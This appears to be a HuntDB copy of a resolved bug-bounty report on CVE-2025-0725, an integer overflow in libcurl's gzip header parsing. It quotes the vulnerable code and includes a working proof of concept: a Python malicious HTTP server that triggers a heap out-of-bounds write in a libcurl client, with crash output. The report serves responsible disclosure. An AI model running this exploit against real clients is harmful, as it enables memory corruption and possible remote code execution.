Loading HuntDB...

CVE-2025-0725: gzip integer overflow

Low
C
curl
Submitted None
Reported by z2_

Vulnerability Details

Technical details and impact analysis

Integer Overflow to Buffer Overflow
Hello, no AI slop this time. I promise! The current master branch of [libcurl](https://github.com/curl/curl/tree/7e814c8717939393d4436d75f5f0c3ffa98c8c53) contains a vulnerability in [lib/content_encoding.c](https://github.com/curl/curl/blob/7e814c8717939393d4436d75f5f0c3ffa98c8c53/lib/content_encoding.c#L539) that allows a malicious HTTP-server to craft an arbitrary heap chunk in the memory of the victim and issue a `free()` of that forged chunk, when `Content-Encoding: gzip` is in use. The vulnerability is in function `gzip_do_write()` in lines 533 - 544: ```c z->avail_in += (uInt) nbytes; z->next_in = Curl_saferealloc(z->next_in, z->avail_in); if(!z->next_in) { return exit_zlib(data, z, &zp->zlib_init, CURLE_OUT_OF_MEMORY); } /* Append the new block of data to the previous one */ memcpy(z->next_in + z->avail_in - nbytes, buf, nbytes); switch(check_gzip_header(z->next_in, (ssize_t)z->avail_in, &hlen)) { case GZIP_OK: /* This is the zlib stream data */ free(z->next_in); ``` On systems with a zlib version < `1.2.0.4`, libcurl offers to manually parse gzip headers and trailers instead of passing everything to zlib as is. Unfortunately, when parsing the headers the remote server can trigger an integer overflow of `z->avail_in` in line 533, which leads the following `Curl_saferealloc()` call to shrink the chunk `z->next_in`. The following `memcpy()` can then write out-of-bounds before `z->next_in`, overwriting chunk metadata of the allocator. And right after the oob-write was triggered, the call to `free(z->next_in)` puts the forged chunk into the freelist of the allocator. `z->avail_in` can be overflowed because libcurl supports endlessly large gzip headers that can lead to repeated calls of `gzip_do_write()` with `zp->zlib_init == ZLIB_GZIP_HEADER` that keep incrementing `z->avail_in` with the amount of received data `nbytes`. # PoC Consider the following malicious HTTP-server: ```py #!/usr/bin/env python3 from pwn import * gzip_header = bytes([ 0x1f, 0x8b, # magic values 8, # method 8, # flags 0, 0, 0, 0, 0, 0, # random bullshit go ]) with listen(1234) as conn: conn.wait_for_connection() # Discard HTTP request while True: line = conn.recvline() if line == b"\r\n": break # Fill up buffer conn.sendline(b"HTTP/1.1 200 OK\r") conn.sendline(b"Content-Encoding: gzip\r") conn.sendline(b"\r") conn.send(gzip_header) todo = 0xFFFFFFFF - 15 - len(gzip_header) amnt = 6000000 while todo > amnt: conn.send(bytes([1]) * amnt) todo -= amnt conn.send(bytes([1]) * todo) # Trigger integer overflow time.sleep(5) conn.send(bytes(32)) # forged chunk ``` And consider the following libcurl client: ```c #include <curl/curl.h> int main (void) { CURL *curl = curl_easy_init(); curl_easy_setopt(curl, CURLOPT_URL, "http://127.0.0.1:1234/"); curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, "gzip"); curl_easy_setopt(curl, CURLOPT_BUFFERSIZE, 10485760); // to speed up the PoC curl_easy_perform(curl); } ``` When launching ``` python3 ./server.py ``` in one terminal and ``` ./client ``` in another terminal, we can observe that after \~10min. we get the following message: ``` free(): invalid pointer [1] 233088 IOT instruction (core dumped) ./client ``` Meaning that we were successfully able to overwrite chunk metadata. ## Impact The vulnerability - exists both in the library and the tool in every installation - is easy to trigger, a victim just has to be pointed to an evil URL - can lead to RCE when combined with information leaks that bypass ASLR because it offers a controlled heap out-of-bounds write exploitation primitive Thus I suggest severity "High"

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

Integer Overflow to Buffer Overflow